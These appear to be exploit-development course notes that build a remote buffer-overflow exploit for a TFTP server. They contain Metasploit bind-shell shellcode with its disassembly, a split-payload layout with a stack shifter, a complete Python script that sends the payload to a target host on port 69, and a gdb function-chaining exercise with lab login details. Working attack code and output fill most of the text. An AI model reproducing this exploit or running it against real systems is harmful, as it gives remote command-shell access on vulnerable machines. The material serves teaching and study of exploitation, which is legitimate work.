shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"

sys.stdout.write(shellcode)
---



python dumpshell.py > bindshell.bin

copy bindshellcode.bin into the "c:\Program Files\nasm" directory



Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin
317 bindshell.bin

---------------------------Type This-----------------------------------

C:\Program Files\nasm>ndisasm -b 32 bindshell.bin
-----------------------------------------------------------------------

00000000  FC                cld
00000001  6AEB              push byte -0x15
00000003  4D                dec ebp
00000004  E8F9FFFFFF        call dword 0x2
00000009  60                pushad
0000000A  8B6C2424          mov ebp,[esp+0x24]
0000000E  8B453C            mov eax,[ebp+0x3c]
00000011  8B7C0578          mov edi,[ebp+eax+0x78]
00000015  01EF              add edi,ebp
00000017  8B4F18            mov ecx,[edi+0x18]
0000001A  8B5F20            mov ebx,[edi+0x20]
0000001D  01EB              add ebx,ebp
0000001F  49                dec ecx
00000020  8B348B            mov esi,[ebx+ecx*4]
00000023  01EE              add esi,ebp
00000025  31C0              xor eax,eax
00000027  99                cdq
00000028  AC                lodsb
00000029  84C0              test al,al
0000002B  7407              jz 0x34
0000002D  C1CA0D            ror edx,0xd
00000030  01C2              add edx,eax
00000032  EBF4              jmp short 0x28
00000034  3B542428          cmp edx,[esp+0x28]
00000038  75E5              jnz 0x1f
0000003A  8B5F24            mov ebx,[edi+0x24]
0000003D  01EB              add ebx,ebp
0000003F  668B0C4B          mov cx,[ebx+ecx*2]
00000043  8B5F1C            mov ebx,[edi+0x1c]
00000046  01EB              add ebx,ebp
00000048  032C8B            add ebp,[ebx+ecx*4]
0000004B  896C241C          mov [esp+0x1c],ebp
0000004F  61                popad
00000050  C3                ret
00000051  31DB              xor ebx,ebx
00000053  648B4330          mov eax,[fs:ebx+0x30]
00000057  8B400C            mov eax,[eax+0xc]
0000005A  8B701C            mov esi,[eax+0x1c]
0000005D  AD                lodsd
0000005E  8B4008            mov eax,[eax+0x8]
00000061  5E                pop esi
00000062  688E4E0EEC        push dword 0xec0e4e8e
00000067  50                push eax
00000068  FFD6              call esi
0000006A  6653              push bx
0000006C  66683332          push word 0x3233
00000070  687773325F        push dword 0x5f327377
00000075  54                push esp
00000076  FFD0              call eax
00000078  68CBEDFC3B        push dword 0x3bfcedcb
0000007D  50                push eax
0000007E  FFD6              call esi                     PART 1
00000080  5F                pop edi
00000081  89E5              mov ebp,esp
00000083  6681ED0802        sub bp,0x208
00000088  55                push ebp
00000089  6A02              push byte +0x2
0000008B  FFD0              call eax
0000008D  68D909F5AD        push dword 0xadf509d9
00000092  57                push edi
00000093  FFD6              call esi
00000095  53                push ebx
00000096  53                push ebx
--------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<---
00000097  53                push ebx
00000098  53                push ebx
00000099  53                push ebx
0000009A  43                inc ebx
0000009B  53                push ebx
0000009C  43                inc ebx
0000009D  53                push ebx                       PART 2
0000009E  FFD0              call eax
000000A0  6668115C          push word 0x5c11
000000A4  6653              push bx
000000A6  89E1              mov ecx,esp
000000A8  95                xchg eax,ebp
000000A9  68A41A70C7        push dword 0xc7701aa4
000000AE  57                push edi
000000AF  FFD6              call esi
000000B1  6A10              push byte +0x10
000000B3  51                push ecx
000000B4  55                push ebp
000000B5  FFD0              call eax
000000B7  68A4AD2EE9        push dword 0xe92eada4
000000BC  57                push edi
000000BD  FFD6              call esi
000000BF  53                push ebx
000000C0  55                push ebp
000000C1  FFD0              call eax
000000C3  68E5498649        push dword 0x498649e5
000000C8  57                push edi
000000C9  FFD6              call esi
000000CB  50                push eax
000000CC  54                push esp
000000CD  54                push esp
000000CE  55                push ebp
000000CF  FFD0              call eax
000000D1  93                xchg eax,ebx
000000D2  68E779C679        push dword 0x79c679e7
000000D7  57                push edi
000000D8  FFD6              call esi
000000DA  55                push ebp
000000DB  FFD0              call eax
000000DD  666A64            push word 0x64
000000E0  6668636D          push word 0x6d63
000000E4  89E5              mov ebp,esp
000000E6  6A50              push byte +0x50
000000E8  59                pop ecx
000000E9  29CC              sub esp,ecx
000000EB  89E7              mov edi,esp
000000ED  6A44              push byte +0x44
000000EF  89E2              mov edx,esp
000000F1  31C0              xor eax,eax
000000F3  F3AA              rep stosb
000000F5  FE422D            inc byte [edx+0x2d]
000000F8  FE422C            inc byte [edx+0x2c]
000000FB  93                xchg eax,ebx
000000FC  8D7A38            lea edi,[edx+0x38]
000000FF  AB                stosd
00000100  AB                stosd
00000101  AB                stosd
00000102  6872FEB316        push dword 0x16b3fe72
00000107  FF7544            push dword [ebp+0x44]
0000010A  FFD6              call esi
0000010C  5B                pop ebx
0000010D  57                push edi
0000010E  52                push edx
0000010F  51                push ecx
00000110  51                push ecx
00000111  51                push ecx
00000112  6A01              push byte +0x1
00000114  51                push ecx
00000115  51                push ecx
00000116  55                push ebp
00000117  51                push ecx
00000118  FFD0              call eax
0000011A  68ADD905CE        push dword 0xce05d9ad
0000011F  53                push ebx
00000120  FFD6              call esi
00000122  6AFF              push byte -0x1
00000124  FF37              push dword [edi]
00000126  FFD0              call eax
00000128  8B57FC            mov edx,[edi-0x4]
0000012B  83C464            add esp,byte +0x64
0000012E  FFD6              call esi
00000130  52                push edx
00000131  FFD0              call eax
00000133  68F08A045F        push dword 0x5f048af0
00000138  53                push ebx
00000139  FFD6              call esi
0000013B  FFD0              call eax




part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
part1 += "\xf5\xad\x57\xff\xd6\x53\x53"


part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"


STACK SHIFTER:
prepend = "\x81\xC4\xFF\xEF\xFF\xFF"  # add esp, -1001h
prepend += "\x44"                     # inc esp














---- final script ----

#!/usr/bin/python2
#TFTP Server remote Buffer Overflow

import sys
import socket
import struct

if len(sys.argv) < 2:
    sys.stderr.write("Usage: tftpd.py <host>\n")
    sys.exit(1)

target = sys.argv[1]
port = 69

eip = 0x7e429353         # jmp esp in USER32.DLL

part1 += "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
part1 += "\xf5\xad\x57\xff\xd6\x53\x53"

part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"

prepend = "\x81\xC4\xFF\xEF\xFF\xFF"            # add esp, -1001h
prepend += "\x44"                               # inc esp

buf = "\x00\x01"                        # receive command

buf += "\x90" * (256 - len(part2))              # NOPs
buf += part2                                    # shellcode part 2
buf += struct.pack('<I', eip)                           # EIP (JMP ESP)
buf += prepend                                      # stack shifter
buf += part1                                        # shellcode part 1
buf += "\xE9" + struct.pack('<i', -380)             # JMP -380
buf += "\x00"                                       # END

# print buf

# buf = "\x00\x01"                      # receive command

# buf += "A" * 300 + "\x00"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:
    sock.connect((target, port))
    sock.sendall(buf)
except Exception as e:
    sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
finally:
    sock.close()
    sys.stderr.write("Sent.\n")



-----------------------------------------------------------------------------------------------------------------




How does all of this actually work




Total shellcode length:     315

                Part1:  150
                Part2:  165


NOPS * (256 - 165)

91 NOPS + (165 bytes shellcode p2) + JMP ESP (4 bytes) + Stack Shift (-1000) + (150 bytes shellcode p1) + (neg jmp -380)
            |           |                   |
            256         260                 150 (410)       |
  |<------------------------------------------------------------------------------------------------------------|
 Jump to the
 30 byte mark





=================================================================================


##############################
# Intro to function chaining #
##############################
ssh into 192.168.1.117
username: exploitlab
password: exploitlab


---------------------------Type This-----------------------------------
cd /home/exploitlab
cat victim2.c
make victim2
./victim2 AAAAAAAAAAAAA
-----------------------------------------------------------------------



---------------------------Type This-----------------------------------
gdb victim2
disassemble main

break *0x080483cb

run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-----------------------------------------------------------------------


---------------------------Type This-----------------------------------
bt
x/i $eip
x/64x $esp


quit
-----------------------------------------------------------------------




---------------------------Type This-----------------------------------
cat frame1.pl
export EGG=`./frame1.pl`
gdb victim2
(gdb) run $EGG
-----------------------------------------------------------------------





x/100i 0x80484a5		(looking for a pop/pop/ret)
quit
cat frame2.pl
export EGG=`./frame2.pl`
gdb victim2
run $EGG


stepi